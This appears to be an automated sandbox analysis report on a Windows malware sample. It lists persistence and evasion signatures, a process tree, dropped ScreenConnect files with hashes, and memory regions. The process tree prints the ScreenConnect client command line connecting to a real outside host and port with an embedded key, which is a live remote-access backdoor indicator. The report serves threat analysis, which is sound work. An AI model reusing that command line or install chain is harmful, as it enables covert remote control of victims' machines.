Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    02/05/2026, 14:06

General

  • Target
    2026-05-02_6eae7adf5f6d167bac986c505658379f_amadey_elex_glassworm_hellokitty_hijackloader_icedid_luc.exe
  • Size 5.4MB
  • Sample260502-rec1eaas2w
  • SHA256 936330ca9319294bc5ae7cd2508aa7a71392428860eee5d95fd98f13ebc511dc
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 5 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 8 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-05-02_6eae7adf5f6d167bac986c505658379f_amadey_elex_glassworm_hellokitty_hijackloader_icedid_luc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-05-02_6eae7adf5f6d167bac986c505658379f_amadey_elex_glassworm_hellokitty_hijackloader_icedid_luc.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3640
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\2ab21ad5db4a7661\ScreenConnect.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:5288
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5332
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding C89B18DF0567E74D61D82A822D764DD4 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5412
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI8289.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240681718 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:5360
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:5708
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 49724EAE56BF0317B74EA4BCEBC7BB30
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:6020
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 6B61A67110947BA7B2B3790D61B482B3 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:5768
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:5604
    • C:\Program Files (x86)\ScreenConnect Client (2ab21ad5db4a7661)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (2ab21ad5db4a7661)\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=37.221.64.54&p=8041&s=3c0a5987-59c9-420c-9692-ad390713d95f&k=BgIAAACkAABSU0ExAAgAAAEAAQBtRcOmkrgNYslRocOkTkuTyihOpi8jiGU066NYR9jBDXkHxmSQ2YVUm3s8%2fooJYnEhSV7fUNG1B5eE%2bEBaTsdMjuSy6wM5sWHiNov0I%2fCi2R8idtf7h0sRNyUXYU5mv3W%2f%2bAAUF5FVSqznlNh79hYpQ5ibv2AEsvG1v7zIzpVIe9GJKEaCyiMYnNwSkNrJyk7EHRdZqqtnkfYNP7V5qS%2f5EGwD4G1QOOnZh31YJbjAYbQ8GP%2b16XpkKKcCdOuQgGXJcCyDfk7uTR3jzS8ZKuveOcMCrYggcWYA0u%2bjDf3hxmbOoHDVTNrhlpt3R6xZaEcGEohbZJ69mglDgpaukS6e&r=&i=Untitled%20Session"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5652
      • C:\Program Files (x86)\ScreenConnect Client (2ab21ad5db4a7661)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (2ab21ad5db4a7661)\ScreenConnect.WindowsClient.exe" "RunRole" "0b0dc08c-b336-48dd-bf35-f205ec5f0dbc" "User"
        2⤵
        • Executes dropped EXE
        PID:5208

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads

          e58d26f.rbs

          • Path C:\Config.Msi\e58d26f.rbs
          • Size 214KB
          • SHA256 5c1701883858736d0a004ab92c44fb2bcb8961af3be07f59bf419149fd9d4457
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (2ab21ad5db4a7661)\Client.Override.en-US.resources
          • Size 338B
          • SHA256 38368f705ff0da7c681347e2469fad72ea7c9aef0459e092a77753c8ca501d9e
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (2ab21ad5db4a7661)\Client.Override.resources
          • Size 256B
          • SHA256 ce99d2022eb57129b951fbe6dfb9f3ac6bc9f9c41055ef577693a17bd0df6674
          • MD5 SHA1 SHA512 TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (2ab21ad5db4a7661)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (2ab21ad5db4a7661)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (2ab21ad5db4a7661)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (2ab21ad5db4a7661)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (2ab21ad5db4a7661)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (2ab21ad5db4a7661)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (2ab21ad5db4a7661)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (2ab21ad5db4a7661)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (2ab21ad5db4a7661)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (2ab21ad5db4a7661)\app.config
          • Size 2KB
          • SHA256 18a07e83967ee07186cf0c8163a2486eed6ffc74832e3e126a8bdd39fbe8b137
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (2ab21ad5db4a7661)\system.config
          • Size 934B
          • SHA256 be58edae7e75102b59e63b07412346282f0384886eed7127f708bc2bb431cbd0
          • MD5 SHA1 SHA512 TLSH

          MSI8289.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI8289.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI8289.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI8289.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI8289.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI8289.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientSetup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\2ab21ad5db4a7661\ScreenConnect.ClientSetup.msi
          • Size 12.8MB
          • SHA256 9d0fc900fb456a7e298d18cc2157066d6910965c1a6ea21b6b9a58f0923e1c98
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSID444.tmp

          • Path C:\Windows\Installer\MSID444.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.6MB
          • SHA256 fd5fdbc7878275cf746973dc46b9c2a9f452af5b9921f682074b445cbaec98c4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {0a60ac41-331a-4d56-9fef-54660139ca02}_OnDiskSnapshotProp

          • Path \??\Volume{3172925f-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{0a60ac41-331a-4d56-9fef-54660139ca02}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 a6468b225f08e95bc3fcada1ec7bf9305075fd6cf7897fcd7d8667479232db59
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/3640-6-0x0000000005A00000-0x0000000005A22000-memory.dmp

          memory/3640-9-0x00000000059F0000-0x0000000005A00000-memory.dmp

          memory/3640-3-0x00000000059F0000-0x0000000005A00000-memory.dmp

          memory/3640-5-0x0000000005940000-0x00000000059CC000-memory.dmp

          memory/3640-2-0x00000000059F0000-0x0000000005A00000-memory.dmp

          memory/3640-4-0x0000000005D00000-0x0000000005FF2000-memory.dmp

          memory/3640-0-0x00000000059F0000-0x0000000005A00000-memory.dmp

          memory/3640-7-0x0000000005A20000-0x0000000005BCC000-memory.dmp

          memory/3640-12-0x0000000005C30000-0x0000000005C36000-memory.dmp

          memory/3640-8-0x00000000065A0000-0x0000000006B46000-memory.dmp

          memory/3640-1-0x0000000001A10000-0x0000000001A18000-memory.dmp

          memory/5208-146-0x00000000026A0000-0x00000000026B8000-memory.dmp

          memory/5208-141-0x0000000000C70000-0x0000000000CA6000-memory.dmp

          memory/5208-140-0x0000000000380000-0x0000000000418000-memory.dmp

          memory/5208-143-0x000000001B580000-0x000000001B72C000-memory.dmp

          memory/5208-142-0x000000001B340000-0x000000001B3CC000-memory.dmp

          memory/5208-144-0x000000001B8C0000-0x000000001BA48000-memory.dmp

          memory/5208-145-0x0000000000C50000-0x0000000000C68000-memory.dmp

          memory/5208-148-0x0000000000C00000-0x0000000000C0C000-memory.dmp

          memory/5288-51-0x00000000013F0000-0x000000000140A000-memory.dmp

          memory/5360-32-0x0000000004C40000-0x0000000004C6E000-memory.dmp

          memory/5360-36-0x0000000004C80000-0x0000000004C8A000-memory.dmp

          memory/5360-40-0x0000000004D30000-0x0000000004DBC000-memory.dmp

          memory/5360-44-0x0000000004F70000-0x000000000511C000-memory.dmp

          memory/5360-50-0x00000000009D0000-0x00000000009EA000-memory.dmp

          memory/5412-52-0x0000000000D50000-0x0000000000D6A000-memory.dmp

          memory/5652-114-0x0000000004520000-0x00000000045F5000-memory.dmp

          memory/5652-105-0x0000000004000000-0x0000000004050000-memory.dmp

          memory/5652-94-0x0000000001790000-0x00000000017A8000-memory.dmp

          memory/5652-109-0x0000000004050000-0x0000000004086000-memory.dmp

          memory/5652-110-0x0000000004330000-0x00000000043C2000-memory.dmp

          memory/5652-150-0x0000000004770000-0x0000000004776000-memory.dmp

          memory/5652-112-0x0000000004090000-0x00000000040D1000-memory.dmp

          memory/5768-137-0x0000000000970000-0x000000000098A000-memory.dmp

          memory/6020-134-0x0000000000EF0000-0x0000000000F0A000-memory.dmp